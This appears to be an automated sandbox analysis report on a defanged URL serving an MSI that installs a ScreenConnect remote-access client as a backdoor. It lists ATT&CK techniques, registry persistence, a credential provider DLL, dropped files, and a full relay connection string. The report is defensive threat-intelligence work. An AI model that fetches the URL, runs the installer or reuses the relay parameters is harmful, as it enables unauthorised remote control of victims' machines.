hxxp://taxflick[.]com/balalaw/complete[.]php

Analysis

geolocation tags

cacanadananorth-americatoronto
user interaction
yes
max time kernel
139s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/04/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://taxflick.com/balalaw/complete.php
Sample260430-pf2n2ses31

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (183849f3c3c09b99)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (183849f3c3c09b99)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-npv03g-relay.screenconnect.com&p=443&s=f7202128-a23a-447f-877c-f9951867eca3&k=BgIAAACkAABSU0ExAAgAAAEAAQCRy3eVk%2fb%2fvhrt3nyZDSyxZ5ugAowG8TMIQVtsyOtE1bfhu1T9258xXn4cFuUEmfByVFxUuDOgICffuInJD%2bT22ERHxpJqbonpAyqsG4MJHRuH9DA0faGysxPM979zkipsXbQVikjtxuyRj7zdKZZmXAF36WC21NTXKaQPqCLcmNuuzg%2f9AOHhYsjnLS6vO%2fMR2vJzEWdmuEgSLDdbeA2wsQ5QYUxFWNQLRGKHTHi41%2b2bQUldlfhGNAA%2bvaKbmZm409EUZlQKLfiGt6GTE3jDpPLx6jAhp76TKQc7asgpAZmJDjKwqzxVKam7YxdBmdaG1LXNe0DB%2bKSeN2r99C%2fP&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAuceiQWrhLkONvsLNy03fRgAAAAACAAAAAAAQZgAAAAEAACAAAACzHFQpQaZMea6M8B33xHFLDkp6C7EfXHokHNrnwCxEpgAAAAAOgAAAAAIAACAAAADiWsxZDIN97uOZ%2bLU76xinotokE1PW0C3HgXhFBLfXrKAEAAAfE6B0HFjci3%2fnWIy5Yx1F%2b2dToTXx%2fuZLmKFiiP68h4VNuZ1soFUAeUqp31K7Kl0%2f1k9oObHoUvCUpJdrB2Sbcf2Edk5xKU3taNgbDoRCRjNRl1DhB5lpEQZSNJY3WVJo3a9snWWSFHKohohAjusuAkNdnXgBlPKJo0L5xZ4SvlznHnuYJQktI4ylgwuEWQ1%2bwH%2bxyCgEa6UsxYE4nJESHvXij3j%2fQ%2bA2t5OFkDjutCHZZl7RT%2bjQSocdHT886HTw49pE8P1WtxhcAGmCMcN%2fYXB%2fBN0WZSeivyf15m9GONrUP5KH0nY3mBxGnhq6HMy8Vh5Nv2LyPuGJPW4NcSnA7NqZecjbOANvZDpLFtD62HtdTwdjBW6M7be1dGA9LckOEq6%2fxDN5iL3y6nWsPnTRw0%2bzb3ubmojUbXIm39nJWkyqmsF95UkM4QXyfm%2f%2f74%2bSamfbQ1WSZC6XfTBin%2b4dZXWI4Mh5BouqO2JsRf0mFAp3mHoUlYin0%2f9Lw06OTuW%2ffJdZKhmy1jMXLnXGBfgUOYxu07qbDaQzM6aP0IXqbf3%2fthyOCPRtA20GVNsjOn1A8lN3wMQq1mLfd4GBCPoyj36rvTwj5VFs9CLHE%2bzMJengc9ERlu9fsscSpyXDJ6alizfMP%2fWK27M5FiaCFu%2fG6WvEE77JAgZWejmRNDjNcrPE%2fqD10PRULCfvSxeT7vrSJKvC74lpxDGui%2boNc%2b%2buwYUMQ2Txiv3tJHk79bVh9bB%2batQpNCoCMr1HyKcRiYNh%2b5vRGs2tz8mq6zmA25I7ZxV%2ft4Blhzp4iTknNiJXUk9GRh9GLtYE6MpSjXeAsI0V3TkoErIY%2bnqctQLiXmYxrDESjH9aDNAT%2fCh6KxKzWIttu0DCOLsh%2biZFTafqR1lxdCI3fmBb6Tt8y6N8BLnbMmQlYE2xLQZnHuU318z1n32bKjn9dsOqZbYwt%2f%2btt3wHU%2b%2ftGzK8G6RqRxwP1%2fY2G03s6FTGb5aXH3ziVJrRLRWePnsGamqcipF5sJu6dH2Gx%2fo%2fniQYtiMYVFqXdFoMuIGL05dwu8%2fwSl%2be9ty632%2beC8xpTKkPWZSx9rPWLXT%2bs1r%2b11JWchlxl33vt8%2bSz2ourJQqD5HO6TDHlydbCdzJELtjLykzNV9QxZvANTqiLKID3s4UEE%2f4EMHxoTZWv6PBEVQ%2bsRLLZqV3qzER1AAmjtUiw0VeO0UYAw6f83Qg4J70GVzdhQwzgq6ot6XxiQZDkWAnZbvn4GgLp03dP69MzWxOzC0wmX06sT896RMveZybJpLb8BFzjYyQh7qV5ayfv9hM4%2bv6HH%2bPP5zxoKcXW0X8XoewnTwFw1iHF9XJ8Fs%2fXtVt0PU%2bpOkC6Ue6YVfkCLJbE0fkiM7wo60TuHmpkcPW33Dn8A730b3QGQ5yLgLzGxZCEpRHIuYVKtKAvuECdKdbW2ugYs3xB%2fvW94RXPMwdCXC1XncnqN4lurajiwKKR8IO4EvOXzyhorO%2fRzbBz8pd3zQrDuWLv3cRZqWGxr01WU4Gpt05LR76V%2bFHvhtEXtQqbU4B%2f84zNEorKrmQXnJH%2bOXYR0cV3D8dY0AAAADxxsmvvCgmd2f%2fMjgV%2f06i1NGZL%2fTu7YVavGUx%2bzK3H0%2bTUErIfkmM7fD9nuoZEoCIGF8ttWkTrg5ypkLpJNiv\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 2 IoCs

pid	Process
5356	ScreenConnect.ClientService.exe
2832	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
5308	MsiExec.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
208	rundll32.exe
716	MsiExec.exe
2776	MsiExec.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
33	2028	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310038003300380034003900660033006300330063003000390062003900390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 27 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\h3fzucjw.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jv51n30s.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jyu1ojen.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\rtproopo.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\rtproopo.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\rtproopo.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\h3fzucjw.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jp5jepke.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bbec0gws.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jyu1ojen.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\pqzvpgm5.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\pqzvpgm5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bpi2axrv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jp5jepke.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jv51n30s.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jv51n30s.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bbec0gws.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jyu1ojen.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\b4q2dlc1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\b4q2dlc1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\h3fzucjw.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\pqzvpgm5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bpi2axrv.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bpi2axrv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\jp5jepke.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (183849f3c3c09b99)\bbec0gws.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\Client.resources	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI6D0E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6EE4.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{233A7AD4-1AD2-BA2F-B920-356649ADD2BD}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{233A7AD4-1AD2-BA2F-B920-356649ADD2BD}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6CBF.tmp	msiexec.exe
File created	C:\Windows\Installer\e586b98.msi	msiexec.exe
File created	C:\Windows\Installer\{233A7AD4-1AD2-BA2F-B920-356649ADD2BD}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e586b96.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e586b96.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{233A7AD4-1AD2-BA2F-B920-356649ADD2BD}	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4960	chrome.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000002b6acb6f52f0180a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800002b6acb6f0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff0000000007000100006809002b6acb6f000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a2b6acb6f000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d2b6acb6f000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134220250591624435"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 39 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-183849f3c3c09b99\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4DA7A3322DA1F2AB9B02536694DA2DDB\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\PackageName = "balalaw.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2EB8-20B815365525}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (183849f3c3c09b99)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\Net	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2EB8-20B815365525}\ = "ScreenConnect Client (183849f3c3c09b99) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4DA7A3322DA1F2AB9B02536694DA2DDB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2EB8-20B815365525}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\69491A8C9FA1E2588183943F3C0CB999\4DA7A3322DA1F2AB9B02536694DA2DDB	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-183849f3c3c09b99	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (183849f3c3c09b99)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\69491A8C9FA1E2588183943F3C0CB999	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\Version = "420020232"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-183849f3c3c09b99\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2EB8-20B815365525}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2EB8-20B815365525}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\ProductName = "ScreenConnect Client (183849f3c3c09b99)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\PackageCode = "4DA7A3322DA1F2AB9B02536694DA2DDB"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\ProductIcon = "C:\\Windows\\Installer\\{233A7AD4-1AD2-BA2F-B920-356649ADD2BD}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList	msiexec.exe
